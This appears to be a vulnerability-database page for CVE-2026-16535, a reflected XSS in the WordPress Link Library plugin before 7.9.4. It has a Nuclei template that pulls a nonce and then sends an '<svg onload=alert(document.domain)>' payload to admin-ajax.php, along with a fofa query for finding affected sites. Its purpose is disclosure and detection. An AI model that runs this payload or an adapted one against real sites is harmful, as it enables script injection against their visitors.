CVE-2026-16535: WordPress Link Library < 7.9.4 - Cross-Site Scripting

2026-11-09 PoC Public

Description

Link Library WordPress plugin < 7.9.4 contains a reflected XSS caused by unsanitised and unescaped parameter reflected in response, letting unauthenticated attackers execute scripts via user interaction.

Details

CVE
CVE-2026-16535 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-16535

info:
  name: WordPress Link Library < 7.9.4 - Cross-Site Scripting
  author: anirbala98
  severity: medium
  description: |
    Link Library WordPress plugin < 7.9.4 contains a reflected XSS caused by unsanitised and unescaped parameter reflected in response, letting unauthenticated attackers execute scripts via user interaction.
  impact: |
    Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Update to version 7.9.4 or later.
  reference:
    - https://wpscan.com/vulnerability/3b6c0efb-c503-437a-8f9b-f8a8c032313c/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16535
    - https://wordpress.org/plugins/link-library/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-16535
    epss-score: 0.00512
    epss-percentile: 0.4394
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: yannick-lefebvre
    product: link-library
    fofa-query: body="/wp-content/plugins/link-library/"
  tags: cve,cve2026,wordpress,wp-plugin,link-library,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /links/ HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "thumbs_rating_ajax")'
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'thumbs_rating_ajax = \{[^}]*"nonce":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=thumbs_rating_add_vote&nonce={{nonce}}&postid=1&type=1&likelabel=<svg onload=alert(document.domain)>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<svg onload=alert(document.domain)>")'
        condition: and
# digest: 4a0a00473045022100f608129206ccbd1f406b681acda9bfda566e9df57240d738f6e82fc2faafea4502200d52235046b92bb5fa15150daa56045b2592569cc50490b2b9045abdabd1b60d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life